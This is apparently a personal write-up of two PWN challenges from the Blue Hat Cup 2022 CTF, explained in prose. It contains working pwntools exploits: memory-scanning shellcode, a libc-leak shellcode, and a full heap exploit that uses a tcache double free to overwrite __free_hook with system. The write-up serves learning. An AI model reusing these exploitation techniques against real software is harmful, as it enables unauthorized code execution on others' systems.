PWN Writeup Reenactment on Blue Hat Cup 2022
Just recording the PWN challenge from Blue Hat Cup a few days ago. I won't be reenacting the other Misc and forensic challenges as I didn't quite understand them during the competition and relied heavily on my teammates.
I directly wrote a simple shellcode and relied on luck to go through (specifically by placing it in the memory page where /flag
is located and then outputting the result).
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'DEBUG'
# sh = process(['escape_shellcode'])
sh = remote("39.107.108.120", 44431)
shellcode = """
mov r8, 0x557000000120
run:
mov rax, 1
mov rdi, 1
xor rdx, rdx
mov rdx, 0x10000
mov rsi, r8
syscall
cmp al, 0xf2
je looper
looper:
add r8, 0x10000
jmp run
"""
sh.sendline(asm(shellcode))
sh.interactive()
The official writeup directly read the flag from the .bss
section. While I understood the principle when debugging locally, I didn't know where these values came from. Essentially, it involved obtaining the [email protected]
address and storing it in R8
. The process included finding out how to fetch this address (by locating the pointer [rip + 0xfb5 - 7]
through RIP
, then adding 0x3e8
to reach the @got.plt
), and then recording the actual address in R9
. Subsequently, using R9
to store libc_base
, calculating the address of environ
to find the program's base address in order to read the .bss
section's flag
.
Although I understood the approach, I wasn't sure how to actually implement it.
#!/usr/bin/python3
#-*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
context.arch='amd64'
context.terminal = ['tmux','sp','-h','-l','120']
# remote_service = ""
# remote_service = remote_service.strip().split(":")
# p = remote(remote_service[0], int(remote_service[1]))
p = remote('39.106.156.74', 15163)
filename = "./pwn"
# p = process(filename)
e = ELF(filename, checksec=False)
l = ELF(e.libc.path, checksec=False)
rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
i2b = lambda c : str(c).encode()
uu32 = lambda data : u32(data.ljust(4, b'\x00'))
uu64 = lambda data : u64(data.ljust(8, b'\x00'))
def debugPID():
# lg("p.pid")
# input()
pass
# environ = 0x3ee098
# prctl = 0x122210
def send_code():
code = asm(
f"""
lea rsi, byte ptr [rip - 0x2ba]
add rsi, 0xf69
mov rsp, rsi
lea rdx, byte ptr [rip + 0xfb5 - 7]
mov r8, [rdx]
add r8, 0x3e8
mov r9, [r8]
sub r9, 0x122210
mov r8, r9
add r8, 0x3ee098
mov r9, [r8]
sub r9, 0x40
mov r8, [r9]
sub r8, 0x11a0
add r8, 0x4120
mov rdi, 1
mov rax, 1
mov rsi, r8
mov rdx, 0x40
syscall
"""
)
p.send(code)
debugPID()
send_code()
debugPID()
irt()
Bank
I won't provide an IDA screenshot here, but I'll briefly analyze the functionalities. In the deposit
function, it doesn't return when money = balance
, instead, it executes cash += money
. On the other hand, in the reduce_money
function, it returns when money = balance
, without deducting the money from the balance
.
Thus, we can exploit put
and deposit
functions to accumulate money. The main vulnerability lies in the transfer
function. admin
can be used to read any address on the heap, hacker
can be used to free any address, ghost
allows reallocating the ptr
on the heap, guest
can be employed to malloc a heap of 0x18
bytes and write 0x10
bytes, and abyss
can execute *result=read_ui()
in the initialization, triggering exit(0);
.
Starting with setting up the menu, I made the transfer
more complex than necessary due to not considering all possibilities initially. Separating them out is a more straightforward approach.
from typing import Union, AnyStr, Tuple, Literal
from pwn import *
context(log_level='DEBUG', arch='amd64', os='linux')
sh = process(['./Bank'])
libc = ELF('./libc-2.31.so')
Money = Union[AnyStr, int, float]
# Function to convert various data types to bytes
def to_bytes(content: Money):
return content if isinstance(content, bytes) else str(content).encode()
# Implementing menu functions
def menu(index: Literal[0, 2, 3, 4, 5, 6]):
choice = ['Quit', "", 'Deposit', "Transfer", "Put", "Login", "Info"]
sh.recvuntil(b"Click: ")
sh.sendline(choice[index].encode())
# Other functions for login, info, deposit, transfer, etc.
...
Firstly, it is essential to accumulate money. Through local debugging, you can determine that the original cash was 0x190
.
login('114514', '114514')
put(0x190)
cash = 0x190
while cash <= 1000000:
deposit(cash)
put(cash)
cash += cash
You can exploit realloc
to create a tcache
by reallocating one large and one small size heap chunk, obtaining the heap_addr
. However, keep in mind that to read an address, you need to send money to admin
, who requires at least 0x1E
cash. This means that you will read at least the address 8 * 0x1E + g_malloc
. Therefore, you need to create a tcache
at least at 0xf0 + g_malloc
to achieve the desired result. Since realloc
can only reach a maximum size of 0x100
, carefully consider the construction process.
After acquiring the heap_addr
, giving you the ability to free any heap, you can construct a fake chunk
within the large_bin
range, leading to a direct pointer to main_arena
, enabling retrieval of libc_base
, followed by obtaining free_hook
and system
.
transfer('guest', 6, p64(0x431).rjust(0x10, b'\x00'), False)
for _ in range(40):
transfer('guest', 6, b'1')
transfer('hacker', 51, heap_addr+0x3c0)
malloc_hook_addr = int(transfer('admin', 0x120 / 8), 16) - 96 - 0x10
libc_base = malloc_hook_addr - libc.sym['__malloc_hook']
free_hook_addr = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
Now, you can proceed with exploiting the Double Free
vulnerability to target free_hook
.
for i in range(7):
transfer('hacker', 51, heap_addr+0x3f0+i*0x20)
transfer('hacker', 51, heap_addr+0x3f0+7*0x20)
transfer('hacker', 51, heap_addr+0x3f0+8*0x20)
transfer('hacker', 51, heap_addr+0x3f0+7*0x20)
for _ in range(7):
transfer('guest', 6, b'/bin/sh\x00')
transfer('guest', 6, p64(free_hook_addr-0x8).ljust(0x10, b'\x00'), False)
transfer('guest', 6, b'')
transfer('guest', 6, b'')
transfer('guest', 6, p64(system_addr).rjust(0x10, b'\x00'), False)
transfer('hacker', 51, heap_addr+0x3f0)
sh.interactive()
Here's the complete exploit code:
from typing import Union, AnyStr, Tuple, Literal
from pwn import *
context(log_level='DEBUG', arch='amd64', os='linux')
sh = process(['./Bank'])
libc = ELF('./libc-2.31.so')
Money = Union[AnyStr, int, float]
# Function to convert various data types to bytes
def to_bytes(content: Money):
return content if isinstance(content, bytes) else str(content).encode()
# Implementing menu functions
def menu(index: Literal[0, 2, 3, 4, 5, 6]):
choice = ['Quit', "", 'Deposit', "Transfer", "Put", "Login", "Info"]
sh.recvuntil(b"Click: ")
sh.sendline(choice[index].encode())
# Other functions for login, info, deposit, transfer, etc.
...
login('114514', '114514')
put(0x190)
cash = 0x190
while cash <= 1000000:
deposit(cash)
put(cash)
cash += cash
transfer('ghost', 11, 0x100)
transfer('ghost', 11, 0xe0)
heap_addr = int(transfer('admin', 0x118/8), 16) - 0x10
transfer('guest', 6, p64(0x431).rjust(0x10, b'\x00'), False)
for _ in range(40):
transfer('guest', 6, b'1')
transfer('hacker', 51, heap_addr+0x3c0)
malloc_hook_addr = int(transfer('admin', 0x120 / 8), 16) - 96 - 0x10
libc_base = malloc_hook_addr - libc.sym['__malloc_hook']
free_hook_addr = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
for i in range(7):
transfer('hacker', 51, heap_addr+0x3f0+i*0x20)
transfer('hacker', 51, heap_addr+0x3f0+7*0x20)
transfer('hacker', 51, heap_addr+0x3f0+8*0x20)
transfer('hacker', 51, heap_addr+0x3f0+7*0x20)
for _ in range(7):
transfer('guest', 6, b'/bin/sh\x00')
transfer('guest', 6, p64(free_hook_addr-0x8).ljust(0x10, b'\x00'), False)
transfer('guest', 6, b'')
transfer('guest', 6, b'')
transfer('guest', 6, p64(system_addr).rjust(0x10, b'\x00'), False)
transfer('hacker', 51, heap_addr+0x3f0)
sh.interactive()